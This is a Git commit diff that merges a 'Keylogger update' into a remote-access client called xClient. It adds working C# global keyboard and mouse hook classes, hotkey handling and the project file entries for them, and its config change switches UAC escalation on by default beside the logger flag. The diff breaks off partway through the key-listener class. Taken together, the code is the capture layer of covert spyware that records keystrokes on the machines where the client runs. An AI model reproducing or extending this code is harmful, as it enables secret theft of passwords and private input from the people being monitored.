Merge pull request #158 from yankejustin/Keylogger

Keylogger update
This commit is contained in:
MaxXor 2015-05-21 17:43:03 +02:00
commit 28f3fe1a58
50 changed files with 3145 additions and 1436 deletions

View File

@ -69,10 +69,46 @@
<Compile Include="Core\Information\OSInfo.cs" />
<Compile Include="Core\Compression\JpgCompression.cs" />
<Compile Include="Core\Extensions\SocketExtensions.cs" />
<Compile Include="Core\Keylogger\KeyloggerAttributes.cs" />
<Compile Include="Core\Keylogger\KeyloggerHelpers.cs" />
<Compile Include="Core\Keylogger\KeyloggerKeys.cs" />
<Compile Include="Core\Keylogger\Win32.cs" />
<Compile Include="Core\Keylogger\Hook.cs" />
<Compile Include="Core\Keylogger\HotKeys\HotKeyArgs.cs" />
<Compile Include="Core\Keylogger\HotKeys\HotKeySet.cs" />
<Compile Include="Core\Keylogger\HotKeys\HotKeySetCollection.cs" />
<Compile Include="Core\Keylogger\HotKeys\HotKeySetsListener.cs" />
<Compile Include="Core\Keylogger\IKeyboardEvents.cs" />
<Compile Include="Core\Keylogger\IKeyboardMouseEvents.cs" />
<Compile Include="Core\Keylogger\IMouseEvents.cs" />
<Compile Include="Core\Keylogger\Implementation\AppEventFacade.cs" />
<Compile Include="Core\Keylogger\Implementation\AppKeyListener.cs" />
<Compile Include="Core\Keylogger\Implementation\AppMouseListener.cs" />
<Compile Include="Core\Keylogger\Implementation\BaseListener.cs" />
<Compile Include="Core\Keylogger\Implementation\ButtonSet.cs" />
<Compile Include="Core\Keylogger\Implementation\Callback.cs" />
<Compile Include="Core\Keylogger\Implementation\EventFacade.cs" />
<Compile Include="Core\Keylogger\Implementation\GlobalEventFacade.cs" />
<Compile Include="Core\Keylogger\Implementation\GlobalKeyListener.cs" />
<Compile Include="Core\Keylogger\Implementation\GlobalMouseListener.cs" />
<Compile Include="Core\Keylogger\Implementation\KeyboardState.cs" />
<Compile Include="Core\Keylogger\Implementation\KeyListener.cs" />
<Compile Include="Core\Keylogger\Implementation\MouseListener.cs" />
<Compile Include="Core\Keylogger\Implementation\Subscribe.cs" />
<Compile Include="Core\Keylogger\KeyEventArgsExt.cs" />
<Compile Include="Core\Keylogger\KeyPressEventArgsExt.cs" />
<Compile Include="Core\Keylogger\MouseEventExtArgs.cs" />
<Compile Include="Core\Keylogger\WinApi\AppMouseStruct.cs" />
<Compile Include="Core\Keylogger\WinApi\CallbackData.cs" />
<Compile Include="Core\Keylogger\WinApi\HookHelper.cs" />
<Compile Include="Core\Keylogger\WinApi\HookIds.cs" />
<Compile Include="Core\Keylogger\WinApi\HookNativeMethods.cs" />
<Compile Include="Core\Keylogger\WinApi\HookProcedure.cs" />
<Compile Include="Core\Keylogger\WinApi\HookProcedureHandle.cs" />
<Compile Include="Core\Keylogger\WinApi\HookResult.cs" />
<Compile Include="Core\Keylogger\WinApi\KeyboardHookStruct.cs" />
<Compile Include="Core\Keylogger\WinApi\KeyboardNativeMethods.cs" />
<Compile Include="Core\Keylogger\WinApi\Messages.cs" />
<Compile Include="Core\Keylogger\WinApi\MouseNativeMethods.cs" />
<Compile Include="Core\Keylogger\WinApi\MouseStruct.cs" />
<Compile Include="Core\Keylogger\WinApi\Point.cs" />
<Compile Include="Core\Keylogger\WinApi\ThreadNativeMethods.cs" />
<Compile Include="Core\Packets\ClientPackets\DesktopResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\DirectoryResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\DownloadFileResponse.cs" />
@ -236,7 +272,9 @@
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup />
<ItemGroup>
<Content Include="Core\Keylogger\HotKeys\ReadMe.txt" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<PropertyGroup>
<PostBuildEvent>copy "$(TargetPath)" "$(TargetDir)client.bin" /Y</PostBuildEvent>

View File

@ -22,7 +22,7 @@ namespace xClient.Config
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
public static string STARTUPKEY = "Test key";
public static bool HIDEFILE = false;
public static bool ENABLEUACESCALATION = false;
public static bool ENABLEUACESCALATION = true;
public static bool ENABLELOGGER = true;
public static void Initialize()

View File

@ -0,0 +1,38 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using xClient.Core.Keylogger.Implementation;
namespace xClient.Core.Keylogger
{
/// <summary>
/// This is the class to start with.
/// </summary>
public static class Hook
{
/// <summary>
/// Here you find all application wide events. Both mouse and keyboard.
/// </summary>
/// <returns>
/// Returned instance is used for event subscriptions.
/// You can refetch it (you will get the same instance anyway).
/// </returns>
public static IKeyboardMouseEvents AppEvents()
{
return new AppEventFacade();
}
/// <summary>
/// Here you find all application wide events. Both mouse and keyboard.
/// </summary>
/// <returns>
/// Returned instance is used for event subscriptions.
/// You can refetch it (you will get the same instance anyway).
/// </returns>
public static IKeyboardMouseEvents GlobalEvents()
{
return new GlobalEventFacade();
}
}
}

View File

@ -0,0 +1,33 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xClient.Core.Keylogger.HotKeys
{
/// <summary>
/// The event arguments passed when a HotKeySet's OnHotKeysDownHold event is triggered.
/// </summary>
public sealed class HotKeyArgs : EventArgs
{
private readonly DateTime m_TimeOfExecution;
/// <summary>
/// Creates an instance of the HotKeyArgs.
/// <param name="triggeredAt">Time when the event was triggered</param>
/// </summary>
public HotKeyArgs(DateTime triggeredAt)
{
m_TimeOfExecution = triggeredAt;
}
/// <summary>
/// Time when the event was triggered
/// </summary>
public DateTime Time
{
get { return m_TimeOfExecution; }
}
}
}

View File

@ -0,0 +1,287 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using xClient.Core.Keylogger.Implementation;
namespace xClient.Core.Keylogger.HotKeys
{
/// <summary>
/// An immutable set of Hot Keys that provides an event for when the set is activated.
/// </summary>
public class HotKeySet
{
/// <summary>
/// A delegate representing the signature for the OnHotKeysDownHold event
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
public delegate void HotKeyHandler(object sender, HotKeyArgs e);
private readonly IEnumerable<Keys> m_hotkeys; //hotkeys provided by the user.
private readonly Dictionary<Keys, bool> m_hotkeystate; //Keeps track of the status of the set of Keys
/*
* Example of m_remapping:
* a single key from the set of Keys requested is chosen to be the reference key (aka primary key)
*
* m_remapping[ Keys.LShiftKey ] = Keys.LShiftKey
* m_remapping[ Keys.RShiftKey ] = Keys.LShiftKey
*
* This allows the m_hotkeystate to use a single key (primary key) from the set that will act on behalf of all the keys in the set,
* which in turn reduces to this:
*
* Keys k = Keys.RShiftKey
* Keys primaryKey = PrimaryKeyOf( k ) = Keys.LShiftKey
* m_hotkeystate[ primaryKey ] = true/false
*/
private readonly Dictionary<Keys, Keys> m_remapping; //Used for mapping multiple keys to a single key
private bool m_enabled = true; //enabled by default
//These provide the actual status of whether a set is truly activated or not.
private int m_hotkeydowncount; //number of hot keys down
private int m_remappingCount;
//the number of remappings, i.e., a set of mappings, not the individual count in m_remapping
/// <summary>
/// Creates an instance of the HotKeySet class. Once created, the keys cannot be changed.
/// </summary>
/// <param name="hotkeys">Set of Hot Keys</param>
public HotKeySet(IEnumerable<Keys> hotkeys)
{
m_hotkeystate = new Dictionary<Keys, bool>();
m_remapping = new Dictionary<Keys, Keys>();
m_hotkeys = hotkeys;
InitializeKeys();
}
/// <summary>
/// Enables the ability to name the set
/// </summary>
public string Name { get; set; }
/// <summary>
/// Enables the ability to describe what the set is used for or supposed to do
/// </summary>
public string Description { get; set; }
/// <summary>
/// Gets the set of hotkeys that this class handles.
/// </summary>
public IEnumerable<Keys> HotKeys
{
get { return m_hotkeys; }
}
/// <summary>
/// Returns whether the set of Keys is activated
/// </summary>
public bool HotKeysActivated
{
//The number of sets of remapped keys is used to offset the amount originally specified by the user.
get { return m_hotkeydowncount == (m_hotkeystate.Count - m_remappingCount); }
}
/// <summary>
/// Gets or sets the enabled state of the HotKey set.
/// </summary>
public bool Enabled
{
get { return m_enabled; }
set
{
if (value)
InitializeKeys(); //must get the actual current state of each key to update
m_enabled = value;
}
}
/// <summary>
/// Called as the user holds down the keys in the set. It is NOT triggered the first time the keys are set.
/// <see cref="OnHotKeysDownOnce" />
/// </summary>
public event HotKeyHandler OnHotKeysDownHold;
/// <summary>
/// Called whenever the hot key set is no longer active. This is essentially a KeyPress event, indicating that a full
/// key cycle has occurred, only for HotKeys because a single key removed from the set constitutes an incomplete set.
/// </summary>
public event HotKeyHandler OnHotKeysUp;
/// <summary>
/// Called the first time the down keys are set. It does not get called throughout the duration the user holds it but
/// only the
/// first time it's activated.
/// </summary>
public event HotKeyHandler OnHotKeysDownOnce;
/// <summary>
/// General invocation handler
/// </summary>
/// <param name="hotKeyDelegate"></param>
private void InvokeHotKeyHandler(HotKeyHandler hotKeyDelegate)
{
if (hotKeyDelegate != null)
hotKeyDelegate(this, new HotKeyArgs(DateTime.Now));
}
/// <summary>
/// Adds the keys into the dictionary tracking the keys and gets the real-time status of the Keys
/// from the OS
/// </summary>
private void InitializeKeys()
{
foreach (Keys k in HotKeys)
{
if (m_hotkeystate.ContainsKey(k))
m_hotkeystate.Add(k, false);
//assign using the current state of the keyboard
m_hotkeystate[k] = KeyboardState.GetCurrent().IsDown(k);
}
}
/// <summary>
/// Unregisters a previously set exclusive or based on the primary key.
/// </summary>
/// <param name="anyKeyInTheExclusiveOrSet">Any key used in the Registration method used to create an exclusive or set</param>
/// <returns>
/// True if successful. False doesn't indicate a failure to unregister, it indicates that the Key is not
/// registered as an Exclusive Or key or it's not the Primary Key.
/// </returns>
public bool UnregisterExclusiveOrKey(Keys anyKeyInTheExclusiveOrSet)
{
Keys primaryKey = GetExclusiveOrPrimaryKey(anyKeyInTheExclusiveOrSet);
if (primaryKey == Keys.None || !m_remapping.ContainsValue(primaryKey))
return false;
List<Keys> keystoremove = new List<Keys>();
foreach (KeyValuePair<Keys, Keys> pair in m_remapping)
{
if (pair.Value == primaryKey)
keystoremove.Add(pair.Key);
}
foreach (Keys k in keystoremove)
m_remapping.Remove(k);
--m_remappingCount;
return true;
}
/// <summary>
/// Registers a group of Keys that are already part of the HotKeySet in order to provide better flexibility among keys.
/// <example>
/// <code>
/// HotKeySet hks = new HotKeySet( new [] { Keys.T, Keys.LShiftKey, Keys.RShiftKey } );
/// RegisterExclusiveOrKey( new [] { Keys.LShiftKey, Keys.RShiftKey } );
/// </code>
/// allows either Keys.LShiftKey or Keys.RShiftKey to be combined with Keys.T.
/// </example>
/// </summary>
/// <param name="orKeySet"></param>
/// <returns>Primary key used for mapping or Keys.None on error</returns>
public Keys RegisterExclusiveOrKey(IEnumerable<Keys> orKeySet)
{
//Verification first, so as to not leave the m_remapping with a partial set.
foreach (Keys k in orKeySet)
{
if (!m_hotkeystate.ContainsKey(k))
return Keys.None;
}
int i = 0;
Keys primaryKey = Keys.None;
//Commit after verification
foreach (Keys k in orKeySet)
{
if (i == 0)
primaryKey = k;
m_remapping[k] = primaryKey;
++i;
}
//Must increase to keep a true count of how many keys are necessary for the activation to be true
++m_remappingCount;
return primaryKey;
}
/// <summary>
/// Gets the primary key
/// </summary>
/// <param name="k"></param>
/// <returns>The primary key if it exists, otherwise Keys.None</returns>
private Keys GetExclusiveOrPrimaryKey(Keys k)
{
return (m_remapping.ContainsKey(k) ? m_remapping[k] : Keys.None);
}
/// <summary>
/// Resolves obtaining the key used for state checking.
/// </summary>
/// <param name="k"></param>
/// <returns>The primary key if it exists, otherwise the key entered</returns>
private Keys GetPrimaryKey(Keys k)
{
//If the key is remapped then get the primary keys
return (m_remapping.ContainsKey(k) ? m_remapping[k] : k);
}
/// <summary>
/// </summary>
/// <param name="kex"></param>
internal void OnKey(KeyEventArgsExt kex)
{
if (!Enabled)
return;
//Gets the primary key if mapped to a single key or gets the key itself
Keys primaryKey = GetPrimaryKey(kex.KeyCode);
if (kex.IsKeyDown)
OnKeyDown(primaryKey);
else //reset
OnKeyUp(primaryKey);
}
private void OnKeyDown(Keys k)
{
//If the keys are activated still then keep invoking the event
if (HotKeysActivated)
InvokeHotKeyHandler(OnHotKeysDownHold); //Call the duration event
//indicates the key's state is current false but the key is now down
else if (m_hotkeystate.ContainsKey(k) && !m_hotkeystate[k])
{
m_hotkeystate[k] = true; //key's state is down
++m_hotkeydowncount; //increase the number of keys down in this set
if (HotKeysActivated) //because of the increase, check whether the set is activated
InvokeHotKeyHandler(OnHotKeysDownOnce); //Call the initial event
}
}
private void OnKeyUp(Keys k)
{
if (m_hotkeystate.ContainsKey(k) && m_hotkeystate[k]) //indicates the key's state was down but now it's up
{
bool wasActive = HotKeysActivated;
m_hotkeystate[k] = false; //key's state is up
--m_hotkeydowncount; //this set is no longer ready
if (wasActive)
InvokeHotKeyHandler(OnHotKeysUp); //call the KeyUp event because the set is no longer active
}
}
}
}

View File

@ -0,0 +1,48 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Collections.Generic;
namespace xClient.Core.Keylogger.HotKeys
{
/// <summary>
/// A collection of HotKeySets
/// </summary>
public sealed class HotKeySetCollection : List<HotKeySet>
{
private KeyChainHandler m_keyChain;
/// <summary>
/// Adds a HotKeySet to the collection.
/// </summary>
/// <param name="hks"></param>
public new void Add(HotKeySet hks)
{
m_keyChain += hks.OnKey;
base.Add(hks);
}
/// <summary>
/// Removes the HotKeySet from the collection.
/// </summary>
/// <param name="hks"></param>
public new void Remove(HotKeySet hks)
{
m_keyChain -= hks.OnKey;
base.Remove(hks);
}
/// <summary>
/// Uses a multi-case delegate to invoke individual HotKeySets if the Key is in use by any HotKeySets.
/// </summary>
/// <param name="e"></param>
internal void OnKey(KeyEventArgsExt e)
{
if (m_keyChain != null)
m_keyChain(e);
}
private delegate void KeyChainHandler(KeyEventArgsExt kex);
}
}

View File

@ -0,0 +1,4 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php

View File

@ -0,0 +1,85 @@
Until a separate, full-featured test version is ready, here's a quick update that can be made to the TestFormHookListeners:
//HotKeySetsListener inherits KeyboardHookListener
private readonly HotKeySetsListener m_KeyboardHookManager;
private readonly MouseHookListener m_MouseHookManager;
public TestFormHookListeners()
{
InitializeComponent();
//m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker());
//m_KeyboardHookManager.Enabled = true;
m_MouseHookManager = new MouseHookListener( new GlobalHooker() ) { Enabled = true };
HotKeySetCollection hkscoll = new HotKeySetCollection();
m_KeyboardHookManager = new HotKeySetsListener( hkscoll, new GlobalHooker() ) { Enabled = true };
BuildHotKeyTests( hkscoll );
}
private void BuildHotKeyTests( HotKeySetCollection hkscoll )
{
//Hot Keys are enabled by default. Use the Enabled property to adjust.
hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LShiftKey }, null, OnHotKeyDownOnce1, OnHotKeyDownHold1, OnHotKeyUp1, "test1" ) );
hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LControlKey, Keys.RControlKey }, new[] { Keys.LControlKey, Keys.RControlKey }, OnHotKeyDownGeneral2, OnHotKeyDownGeneral2, OnHotKeyUp1, "test2" ) );
}
private static HotKeySet BindHotKeySet( IEnumerable<Keys> ks,
IEnumerable<Keys> xorKeys,
HotKeySet.HotKeyHandler onEventDownOnce,
HotKeySet.HotKeyHandler onEventDownHold,
HotKeySet.HotKeyHandler onEventUp,
string name )
{
//Declare ALL Keys that will be available in this set, including any keys you want to register as an either/or subset
HotKeySet hks = new HotKeySet( ks );
//Indicates that the keys in this array will be treated as an OR rather than AND: LShiftKey or RShiftKey
//The keys MUST be a subset of the ks Keys array.
if ( hks.RegisterExclusiveOrKey( xorKeys ) == Keys.None ) //Keys.None indicates an error
{
MessageBox.Show( null, @"Unable to register subset: " + String.Join( ", ", xorKeys ),
@"Subset registration error", MessageBoxButtons.OK, MessageBoxIcon.Error );
}
hks.OnHotKeysDownOnce += onEventDownOnce; //The first time the key is down
hks.OnHotKeysDownHold += onEventDownHold; //Fired as long as the user holds the hot keys down but is not fired the first time.
hks.OnHotKeysUp += onEventUp; //Whenever a key from the set is no longer being held down
hks.Name = ( name ?? String.Empty );
return hks;
}
private void GeneralHotKeyEvent( object sender, DateTime timeTriggered, string eventType )
{
HotKeySet hks = sender as HotKeySet;
string kstring = String.Join( ", ", hks.HotKeys );
Log( String.Format( "{0}: {2} {1} - {3}\r\n", timeTriggered.TimeOfDay, eventType, hks.Name, kstring ) );
}
private void OnHotKeyDownGeneral2( object sender, HotKeyArgs e )
{
GeneralHotKeyEvent( sender, e.Time, "ONCE/HOLD" );
}
private void OnHotKeyDownOnce1( object sender, HotKeyArgs e )
{
GeneralHotKeyEvent( sender, e.Time, "ONCE" );
}
private void OnHotKeyDownHold1( object sender, HotKeyArgs e )
{
GeneralHotKeyEvent( sender, e.Time, "HOLD" );
}
private void OnHotKeyUp1( object sender, HotKeyArgs e )
{
GeneralHotKeyEvent( sender, e.Time, "UP" );
}

View File

@ -0,0 +1,43 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides keyboard events
/// </summary>
public interface IKeyboardEvents
{
/// <summary>
/// Occurs when a key is pressed.
/// </summary>
event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when a key is pressed.
/// </summary>
/// <remarks>
/// Key events occur in the following order:
/// <list type="number">
/// <item>KeyDown</item>
/// <item>KeyPress</item>
/// <item>KeyUp</item>
/// </list>
/// The KeyPress event is not raised by non-character keys; however, the non-character keys do raise the KeyDown and
/// KeyUp events.
/// Use the KeyChar property to sample keystrokes at run time and to consume or modify a subset of common keystrokes.
/// To handle keyboard events only in your application and not enable other applications to receive keyboard events,
/// set the <see cref="KeyPressEventArgs.Handled" /> property in your form's KeyPress event-handling method to
/// <b>true</b>.
/// </remarks>
event KeyPressEventHandler KeyPress;
/// <summary>
/// Occurs when a key is released.
/// </summary>
event KeyEventHandler KeyUp;
}
}

View File

@ -0,0 +1,15 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides keyboard and mouse events.
/// </summary>
public interface IKeyboardMouseEvents : IKeyboardEvents, IMouseEvents, IDisposable
{
}
}

View File

@ -0,0 +1,73 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides all mouse events.
/// </summary>
public interface IMouseEvents
{
/// <summary>
/// Occurs when the mouse pointer is moved.
/// </summary>
event MouseEventHandler MouseMove;
/// <summary>
/// Occurs when the mouse pointer is moved.
/// </summary>
/// <remarks>
/// This event provides extended arguments of type <see cref="MouseEventArgs" /> enabling you to
/// suppress further processing of mouse movement in other applications.
/// </remarks>
event EventHandler<MouseEventExtArgs> MouseMoveExt;
/// <summary>
/// Occurs when a click was performed by the mouse.
/// </summary>
event MouseEventHandler MouseClick;
/// <summary>
/// Occurs when the mouse a mouse button is pressed.
/// </summary>
event MouseEventHandler MouseDown;
/// <summary>
/// Occurs when the mouse a mouse button is pressed.
/// </summary>
/// <remarks>
/// This event provides extended arguments of type <see cref="MouseEventArgs" /> enabling you to
/// suppress further processing of mouse click in other applications.
/// </remarks>
event EventHandler<MouseEventExtArgs> MouseDownExt;
/// <summary>
/// Occurs when a mouse button is released.
/// </summary>
event MouseEventHandler MouseUp;
/// <summary>
/// Occurs when a mouse button is released.
/// </summary>
/// <remarks>
/// This event provides extended arguments of type <see cref="MouseEventArgs" /> enabling you to
/// suppress further processing of mouse click in other applications.
/// </remarks>
event EventHandler<MouseEventExtArgs> MouseUpExt;
/// <summary>
/// Occurs when the mouse wheel moves.
/// </summary>
event MouseEventHandler MouseWheel;
/// <summary>
/// Occurs when a mouse button is double-clicked.
/// </summary>
event MouseEventHandler MouseDoubleClick;
}
}

View File

@ -0,0 +1,19 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
namespace xClient.Core.Keylogger.Implementation
{
internal class AppEventFacade : EventFacade
{
protected override MouseListener CreateMouseListener()
{
return new AppMouseListener();
}
protected override KeyListener CreateKeyListener()
{
return new AppKeyListener();
}
}
}

View File

@ -0,0 +1,27 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Collections.Generic;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
internal class AppKeyListener : KeyListener
{
public AppKeyListener()
: base(HookHelper.HookAppKeyboard)
{
}
protected override IEnumerable<KeyPressEventArgsExt> GetPressEventArgs(CallbackData data)
{
return KeyPressEventArgsExt.FromRawDataApp(data);
}
protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data)
{
return KeyEventArgsExt.FromRawDataApp(data);
}
}
}

View File

@ -0,0 +1,21 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
internal class AppMouseListener : MouseListener
{
public AppMouseListener()
: base(HookHelper.HookAppMouse)
{
}
protected override MouseEventExtArgs GetEventArgs(CallbackData data)
{
return MouseEventExtArgs.FromRawDataApp(data);
}
}
}

View File

@ -0,0 +1,26 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
internal abstract class BaseListener : IDisposable
{
protected BaseListener(Subscribe subscribe)
{
Handle = subscribe(Callback);
}
protected HookResult Handle { get; set; }
public void Dispose()
{
Handle.Dispose();
}
protected abstract bool Callback(CallbackData data);
}
}

View File

@ -0,0 +1,33 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Windows.Forms;
namespace xClient.Core.Keylogger.Implementation
{
internal class ButtonSet
{
private MouseButtons m_Set;
public ButtonSet()
{
m_Set = MouseButtons.None;
}
public void Add(MouseButtons element)
{
m_Set |= element;
}
public void Remove(MouseButtons element)
{
m_Set &= ~element;
}
public bool Contains(MouseButtons element)
{
return (m_Set & element) != MouseButtons.None;
}
}
}

View File

@ -0,0 +1,10 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
internal delegate bool Callback(CallbackData data);
}

View File

@ -0,0 +1,114 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Windows.Forms;
namespace xClient.Core.Keylogger.Implementation
{
internal abstract class EventFacade : IKeyboardMouseEvents
{
private KeyListener m_KeyListenerCache;
private MouseListener m_MouseListenerCache;
public event KeyEventHandler KeyDown
{
add { GetKeyListener().KeyDown += value; }
remove { GetKeyListener().KeyDown -= value; }
}
public event KeyPressEventHandler KeyPress
{
add { GetKeyListener().KeyPress += value; }
remove { GetKeyListener().KeyPress -= value; }
}
public event KeyEventHandler KeyUp
{
add { GetKeyListener().KeyUp += value; }
remove { GetKeyListener().KeyUp -= value; }
}
public event MouseEventHandler MouseMove
{
add { GetMouseListener().MouseMove += value; }
remove { GetMouseListener().MouseMove -= value; }
}
public event EventHandler<MouseEventExtArgs> MouseMoveExt
{
add { GetMouseListener().MouseMoveExt += value; }
remove { GetMouseListener().MouseMoveExt -= value; }
}
public event MouseEventHandler MouseClick
{
add { GetMouseListener().MouseClick += value; }
remove { GetMouseListener().MouseClick -= value; }
}
public event MouseEventHandler MouseDown
{
add { GetMouseListener().MouseDown += value; }
remove { GetMouseListener().MouseDown -= value; }
}
public event EventHandler<MouseEventExtArgs> MouseDownExt
{
add { GetMouseListener().MouseDownExt += value; }
remove { GetMouseListener().MouseDownExt -= value; }
}
public event MouseEventHandler MouseUp
{
add { GetMouseListener().MouseUp += value; }
remove { GetMouseListener().MouseUp -= value; }
}
public event EventHandler<MouseEventExtArgs> MouseUpExt
{
add { GetMouseListener().MouseUpExt += value; }
remove { GetMouseListener().MouseUpExt -= value; }
}
public event MouseEventHandler MouseWheel
{
add { GetMouseListener().MouseWheel += value; }
remove { GetMouseListener().MouseWheel -= value; }
}
public event MouseEventHandler MouseDoubleClick
{
add { GetMouseListener().MouseDoubleClick += value; }
remove { GetMouseListener().MouseDoubleClick -= value; }
}
public void Dispose()
{
if (m_MouseListenerCache != null) m_MouseListenerCache.Dispose();
if (m_KeyListenerCache != null) m_KeyListenerCache.Dispose();
}
private KeyListener GetKeyListener()
{
var target = m_KeyListenerCache;
if (target != null) return target;
target = CreateKeyListener();
m_KeyListenerCache = target;
return target;
}
private MouseListener GetMouseListener()
{
var target = m_MouseListenerCache;
if (target != null) return target;
target = CreateMouseListener();
m_MouseListenerCache = target;
return target;
}
protected abstract MouseListener CreateMouseListener();
protected abstract KeyListener CreateKeyListener();
}
}

View File

@ -0,0 +1,19 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
namespace xClient.Core.Keylogger.Implementation
{
internal class GlobalEventFacade : EventFacade
{
protected override MouseListener CreateMouseListener()
{
return new GlobalMouseListener();
}
protected override KeyListener CreateKeyListener()
{
return new GlobalKeyListener();
}
}
}

View File

@ -0,0 +1,27 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Collections.Generic;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
internal class GlobalKeyListener : KeyListener
{
public GlobalKeyListener()
: base(HookHelper.HookGlobalKeyboard)
{
}
protected override IEnumerable<KeyPressEventArgsExt> GetPressEventArgs(CallbackData data)
{
return KeyPressEventArgsExt.FromRawDataGlobal(data);
}
protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data)
{
return KeyEventArgsExt.FromRawDataGlobal(data);
}
}
}

View File

@ -0,0 +1,73 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Windows.Forms;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
internal class GlobalMouseListener : MouseListener
{
private readonly int m_SystemDoubleClickTime;
private MouseButtons m_PreviousClicked;
private Point m_PreviousClickedPosition;
private int m_PreviousClickedTime;
public GlobalMouseListener()
: base(HookHelper.HookGlobalMouse)
{
m_SystemDoubleClickTime = MouseNativeMethods.GetDoubleClickTime();
}
protected override void ProcessDown(ref MouseEventExtArgs e)
{
if (IsDoubleClick(e))
{
e = e.ToDoubleClickEventArgs();
}
base.ProcessDown(ref e);
}
protected override void ProcessUp(ref MouseEventExtArgs e)
{
base.ProcessUp(ref e);
if (e.Clicks == 2)
{
StopDoubleClickWaiting();
}
if (e.Clicks == 1)
{
StartDoubleClickWaiting(e);
}
}
private void StartDoubleClickWaiting(MouseEventExtArgs e)
{
m_PreviousClicked = e.Button;
m_PreviousClickedTime = e.Timestamp;
m_PreviousClickedPosition = e.Point;
}
private void StopDoubleClickWaiting()
{
m_PreviousClicked = MouseButtons.None;
m_PreviousClickedTime = 0;
m_PreviousClickedPosition = new Point(0, 0);
}
private bool IsDoubleClick(MouseEventExtArgs e)
{
return
e.Button == m_PreviousClicked &&
e.Point == m_PreviousClickedPosition && // Click-move-click exception, see Patch 11222
e.Timestamp - m_PreviousClickedTime <= m_SystemDoubleClickTime;
}
protected override MouseEventExtArgs GetEventArgs(CallbackData data)
{
return MouseEventExtArgs.FromRawDataGlobal(data);
}
}
}

View File

@ -0,0 +1,71 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Collections.Generic;
using System.Windows.Forms;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
internal abstract class KeyListener : BaseListener, IKeyboardEvents
{
protected KeyListener(Subscribe subscribe)
: base(subscribe)
{
}
public event KeyEventHandler KeyDown;
public event KeyPressEventHandler KeyPress;
public event KeyEventHandler KeyUp;
public void InvokeKeyDown(KeyEventArgsExt e)
{
var handler = KeyDown;
if (handler == null || e.Handled || !e.IsKeyDown)
{
return;
}
handler(this, e);
}
public void InvokeKeyPress(KeyPressEventArgsExt e)
{
var handler = KeyPress;
if (handler == null || e.Handled || e.IsNonChar)
{
return;
}
handler(this, e);
}
public void InvokeKeyUp(KeyEventArgsExt e)
{
var handler = KeyUp;
if (handler == null || e.Handled || !e.IsKeyUp)
{
return;
}
handler(this, e);
}
protected override bool Callback(CallbackData data)
{
var eDownUp = GetDownUpEventArgs(data);
var pressEventArgs = GetPressEventArgs(data);
InvokeKeyDown(eDownUp);
foreach (var pressEventArg in pressEventArgs)
{
InvokeKeyPress(pressEventArg);
}
InvokeKeyUp(eDownUp);
return !eDownUp.Handled;
}
